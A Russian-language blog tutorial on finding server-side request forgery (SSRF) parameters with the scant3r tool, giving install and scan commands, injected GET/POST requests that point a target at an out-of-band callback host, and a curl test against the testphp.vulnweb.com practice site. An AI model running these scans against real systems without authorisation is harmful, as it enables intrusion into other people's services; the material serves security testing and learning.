Находим SSRF параметры с помощью scant3r
Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Здравствуйте, это небольшой блог о том, как найти SSRF параметры у вашей цели с помощью scant3r любым http методом и с поддержкой JSON.
Требования
Установка
>>> git clone https://github.com/knassar702/scant3r >>> cd scant3r >>> pip install -r requirements.txt >>> ./scant3r.py
Использование
Теперь инструмент готов к использованию. Мы будем использовать модуль lorsrf
для поиска SSRF параметров через GET,POST методы. Нам потребуется OAST Host, который можно сгенерировать в burpsuite или из https://app.interactsh.com/ , и указать в scant3r через опцию -x
>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x http://kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net -M GET,POST
Теперь scant3r начнёт добавлять параметры из списка wordlists/ssrf_parameters.txt
с помощью GET и POST методов, с вашим хостом в значении параметра.
GET /api/?test=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net&anotherone=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net Host: target.com User-agent: Firefox
POST /api/ Host: target.com User-agent: Firefox test=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net&anotherone=kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net
Хорошо, после выполнения команды мы получили этот запрос
Потрясающе, мы нашли уязвимый параметр, но теперь возникает вопрос, какой именно? Для устранения этой проблемы вы можете включить информацию о цели в свой хост OAST. Как? С помощью этих переменных:
просто добавьте одну из этих переменных к OAST с помощью опции -x
, например
target: http://google.com/hackerman/ >>> http://yourhost.com param=http://yourhost.com >>> http://yourhost.com%PATH% param=http://yourhost.com/hackerman/ >>> http://%PARAM%.yourhost.com param=http://param.yourhost.com >>> http://yourhost.com/?name=%PARAM%&loc=%PATH% param=http://yourhost.com/?name=param&loc=/hacerman/
>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x "http://%PARAM%.kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net%PATH%" -M GET,POST
и вот запрос, который мы получили
Теперь, мы видим имя параметра - file
и путь /showimage.php
, давайте протестируем их
>>> curl http://testphp.vulnweb.com/showimage.php?file=http://testing.98ffgfb19ycm4hkllwkq1yl2ftll9a.burpcollaborator.net <html><body>y0sneqpvgkn8wt3rm90cwmzjkgz</body></html>
Для поддержки json вы можете добавить опцию --json
>>> echo 'http://testphp.vulnweb.com/showimage.php' | ./scant3r.py -m lorsrf -x "http://%PARAM%.kl9qtqocm9pxhsxwy7x1e9yds4yvmk.burpcollaborator.net%PATH%" -M GET,POST --json
Для получения дополнительной помощи вы можете прочитать эту вики-страницу и запустить
>>> ./scant3r.py --help
На этом все. Спасибо за просмотр!
Оригинал статьи на английском тут.
Подпишись на канал - @shadow_group_tg.